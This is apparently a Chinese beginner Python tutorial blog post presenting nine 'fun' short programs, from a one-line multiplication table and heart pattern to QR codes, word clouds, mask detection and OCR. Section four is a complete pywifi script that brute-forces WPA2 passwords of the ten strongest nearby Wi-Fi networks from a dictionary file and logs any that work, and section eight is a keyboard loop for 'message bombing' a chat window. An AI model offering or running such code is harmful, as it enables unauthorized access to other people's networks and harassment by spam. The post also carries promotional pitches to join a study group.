作為一名python小白，學的時候感覺都學會了，自己寫就廢了。

什麼原因呢？是自己練習太少了！！！

今天給大家帶來一些好玩的案例，提高大家的學習興趣。

Python可以憑藉更加簡短的程式碼實現許多有趣的操作。

一、九九乘法表

還記得我們熟記於心的九九乘法表嗎？來，我們來鞏固下，我們用一行程式碼打印出來。（左右滑動檢視所有程式碼）

print

（

‘

\n

’

。

join

（［

‘ ’

。

join

（［

‘

%s

*

%s

=

%-2s

’

%

（

y

，

x

，

x

*

y

）

foryinrange

（

1

，

x

+

1

）］）

forxinrange

（

1

，

10

）］））

二、一行列印心形圖案

不會表白？一行程式碼告訴你！

print（‘\n’。join（［‘’。join（［（‘AndyLove’［（x-y）%8］if（（x*0。05）**2+（y*0。1）**2-1）**3-（x*0。05）**2*（y*0。1）**3<=0else‘ ’）forxinrange（-30，30）］）foryinrange（15，-15，-1）］））

還沒開始學python的看到這篇文章可以點選下方的卡片進群免費學習，大量的實操案例帶你瞭解python，python這個語言男女皆宜，老少皆宜。

三、美麗的螺旋

你覺得上面的心型圖案不夠浪漫？那麼試試下面這個美麗的螺旋？在 Python

編譯器

中輸入下面的程式碼。（左右滑動檢視所有程式碼）

exec（“”“\nfrom turtle import *\nfor i in range（500）： \n forward（i）\n left（91）\n”“”）

看下執行過程中的部分圖。

這個畫相簿用的是 turtle 庫。

四、破解wifi密碼

#！/usr/bin/env python

# -*- coding： utf-8 -*-

“”“

使用暴力破解法破解wifi密碼

需要從網上下載wifi密碼字典

可行性並不高

”“”

import

time

# 破解wifi庫

import pywifi

from pywifi import const

class PoJie（object）：

def __init__（self， path）：

# wifi密碼字典檔案

self。file = open（path， ‘r’， errors=‘ignore’）

# 抓取網絡卡介面

wifi = pywifi。PyWiFi（）

# 抓取第一個網絡卡

self。iface =

wifi。interfaces

（）［0］

# 測試連線時斷開所有的連結

self。iface。disconnect（）

time。sleep（1）

self。alist = self。initialssidnamelist（）

# 測試是否處於斷開狀態

assert self。iface。status（） in ［const。IFACE_DISCONNECTED， const。IFACE_INACTIVE］

def bies（self）：

# 掃描

self。iface。scan（）

# 獲取掃描結果

bessis = self。iface。scan_results（）

alist = ［］

for data in bessis：

alist。append（（data。ssid， data。signal））

# 按訊號強度排序

return len（alist）， sorted（alist， key=

lambda

st： st［1］， reverse=True）

def getsignal（self）：

while True：

# 獲取所有的wifi

n， data = self。bies（）

time。sleep（1）

if n is not 0：

# 如果數量不為0，返回前10個訊號最好的

return data［0：10］

def initialssidnamelist（self）：

ssidlist = self。getsignal（）

namelist = ［］

# 獲取前10個wifi的名稱

for item in ssidlist：

namelist。append（item［0］）

return namelist

def readPassword（self， ssidname， myStr）：

# 測試wifi名和密碼是否匹配

bool1 = self。test_connect（myStr， ssidname）

if len（myStr） < 8：

return False

if bool1：

# 儲存密碼和wifi名到檔案中

save_password_to_file（myStr， ssidname）

print（‘————————————————————————密碼正確： ’ + myStr + ‘——-’ + ssidname）

return True

else：

print（‘密碼錯誤： ’ + myStr + ‘ ’ + ssidname）

return False

def test_connect（self， findStr， ssidname）：

“”“

測試連線

：param findStr： 密碼

：param ssidname： wifi名

”“”

# 建立wifi連結檔案

profile = pywifi。Profile（）

# wifi名稱

profile。ssid = ssidname

# 開放網絡卡

profile。auth = const。AUTH_ALG_OPEN

#

wifi加密演算法

profile。akm。append（const。AKM_TYPE_WPA2PSK）

# 加密單元

profile。cipher = const。CIPHER_TYPE_CCMP

# 密碼

profile。key = findStr

# 刪除所有的wifi檔案

self。iface。remove_all_network_profiles（）

# 設定新的連結檔案

tmp_profile = self。iface。add_network_profile（profile）

# 連線

self。iface。connect（tmp_profile）

time。sleep（2）

# 判斷是否已經連線上

if self。iface。status（） == const。IFACE_CONNECTED：

isOk = True

else：

isOk = False

self。iface。disconnect（）

time。sleep（1）

# 檢查斷開狀態

assert self。iface。status（） in ［const。IFACE_DISCONNECTED， const。IFACE_INACTIVE］

return isOk

def run（self）：

while True：

myStr = self。file。readline（）

for ssidname in self。alist：

ret = self。readPassword（ssidname， myStr）

if ret：

raise

FileExistsError

def __del__（self）：

self。file。close（）

def save_password_to_file（myStr， ssidname）：

with open（‘password。txt’， ‘a’） as fp：

fp。write（str（myStr） + ‘——>’ + str（ssidname））

if __name__ == ‘__main__’：

#

密碼字典

檔案所在路徑

path = ‘E：\WIFImmzidianbao\WIFI955M。txt’

start = PoJie（path）

start。run（）

五、生成二維碼

二維碼又稱二維條碼，常見的二維碼為QR Code，QR全稱Quick Response，是一個近幾年來移動裝置上超流行的一種編碼方式，而生成一個二維碼也非常簡單，在Python中我們可以透過MyQR模組了生成二維碼，而生成一個二維碼我們只需要2行程式碼，我們先安裝MyQR模組，這裡選用國內的源下載：

pip install qrcode

安裝完成後我們就可以開始寫程式碼了：

import qrcode

text = input（“輸入文字或URL：”）

# 設定URL必須新增http：//

img =

qrcode。make

（text）

img。save（）

#儲存圖片至本地目錄，可以設定路徑

img。show（）

我們執行程式碼後會在專案下生成一張二維碼。當然我們還可以豐富二維碼：

我們先安裝MyQR模組

pip install myqr

-

def gakki_code（）：

version， level， qr_name =

myqr。run

（

words=“https：//520mg。com/it/#/main/2”，

# 可以是字串，也可以是網址（前面要加http（s）：//）

version=1， # 設定

容錯率

為最高

level=‘H’，

# 控制糾錯水平，範圍是L、M、Q、H，從左到右依次升高

picture=“gakki。gif”，

# 將二維碼和圖片合成

colorized=True， # 彩色二維碼

contrast=1。0，

# 用以調節圖片的

對比度

，1。0 表示原始圖片，更小的值表示更低對比度，更大反之。預設為1。0

brightness=1。0，

# 用來調節圖片的亮度，其餘用法和取值同上

save_name=“gakki_code。gif”，

# 儲存檔案的名字，格式可以是jpg，png，bmp，gif

save_dir=os。getcwd（） # 控制位置

）

gakki_code

（）

效果圖如下：

另外MyQR還支援動態圖片。

六、生成詞雲

詞雲又叫文字雲，是對文字資料中出現頻率較高的“關鍵詞”在視覺上的突出呈現，形成關鍵詞的渲染形成類似雲一樣的彩色圖片，從而一眼就可以領略文字資料的主要表達意思。

但是作為一個老碼農，還是喜歡自己用程式碼生成自己的詞雲，複雜麼？需要很長時間麼？很多文字都介紹過各種的方法，但實際上只需要10行python程式碼即可。

先安裝必要庫

pip install wordcloud

pip install

jieba

pip install matplotlib

-

import matplotlib。pyplot as plt

from wordcloud import WordCloud

import jieba

text_from_file_

with_apath

= open（‘/Users/hecom/23tips。txt’）。read（）

wordlist_after_jieba = jieba。cut（text_from_file_with_apath， cut_all = True）

wl_space_split = “ ”。join（wordlist_after_jieba）

my_wordcloud

= WordCloud（）。generate（wl_space_split）

plt。imshow（my_wordcloud）

plt。axis（“off”）

plt。show（）

如此而已，生成的一個詞雲是這樣的：

讀一下這10行程式碼：

1～3 行，分別匯入了畫圖的庫matplotlib，詞雲生成庫wordcloud 和 jieba的分詞庫；

4 行，是讀取本地的檔案，程式碼中使用的文字是本公眾號中的《老曹眼中研發管理二三事》。

5～6 行，使用jieba進行

分詞

，並對分詞的結果以空格隔開；

7行，對分詞後的文字生成詞雲；

8～10行，用pyplot展示詞雲圖。

這是我喜歡python的一個原因吧，簡潔明快。

七、識別是否帶了口罩

這裡同樣是使用PaddlePaddle的產品，我們按照上面步驟安裝好PaddlePaddle和Paddlehub，然後就開始寫程式碼：

import paddlehub as hub

# 載入模型

module = hub。Module（name=‘pyramidbox_lite_mobile_mask’）

# 圖片列表

image_list = ［‘face。jpg’］

# 獲取圖片字典

input_

dict

= {‘image’：image_list}

# 檢測是否帶了口罩

module。face_detection（data=input_dict）

執行上述程式後，專案下會生成detection_result資料夾，識別結果都會在裡面，識別效果如下：

八、簡易資訊轟炸

Python控制輸入裝置的方式有很多種，我們可以透過win32或者pynput模組。我們可以透過簡單的迴圈操作來達到資訊轟炸的效果，這裡以pynput為例，我們需要先安裝模組：

pip install -i https：//pypi。tuna。tsinghua。edu。cn/simple/ pynput

在寫程式碼之前我們需要手動獲取輸入框的座標：

from pynput import mouse

# 建立一個滑鼠

m_mouse = mouse。Controller（）

# 輸出滑鼠位置

print（m_mouse。position）

可能有更高效的方法，但是我不會。

獲取後我們就可以記錄這個座標，訊息視窗不要移動。然後我們執行下列程式碼並將視窗切換至訊息頁面：

import time

from pynput import mouse， keyboard

time。sleep（5）

m_mouse = mouse。Controller（） # 建立一個滑鼠

m_keyboard = keyboard。Controller（） # 建立一個鍵盤

m_mouse。position = （850， 670） # 將滑鼠移動到指定位置

m_mouse。click（mouse。Button。left） # 點選滑鼠左鍵

while（True）：

m_keyboard。type（‘你好’） # 打字

m_keyboard。press（keyboard。Key。enter） # 按下enter

m_keyboard。release（keyboard。Key。enter） # 鬆開enter

time。sleep（0。5） # 等待 0。5秒

我承認，這個超過了10行程式碼，而且也不高階。使用前QQ給小號發信息效果如下：

資訊轟炸這個技能可以看實操的，對python小技能感興趣想看具體怎麼操作的可以加入下面的卡片進群學習，先免費獲取一波教程，公開課帶領大家實操。

九、識別圖片中的文字

我們可以透過Tesseract來識別圖片中的文字，在Python中實現起來非常簡單，但是前期下載檔案、配置環境變數等稍微有些繁瑣，所以本文只展示程式碼：

import pytesseract

from

PIL

import Image

img = Image。open（‘text。jpg’）

text = pytesseract。image_to_

string

（img）

print（text）

其中text就是識別出來的文字。如果對準確率不滿意的話，還可以使用百度的通用文字介面。

學習任何一門語言，光知道語法是不夠的，要提高必須多加實踐。雖然Python是“萬金油”，適用面很廣，但不從事相關領域的研究或工作，很難去直接使用相關功能。對於一般的學生或初學者來說，學了點語法就去做大

資料分析

或科學計算視覺化的可能性還是不大的。需要腳踏實地，多寫案例，多寫程式碼。

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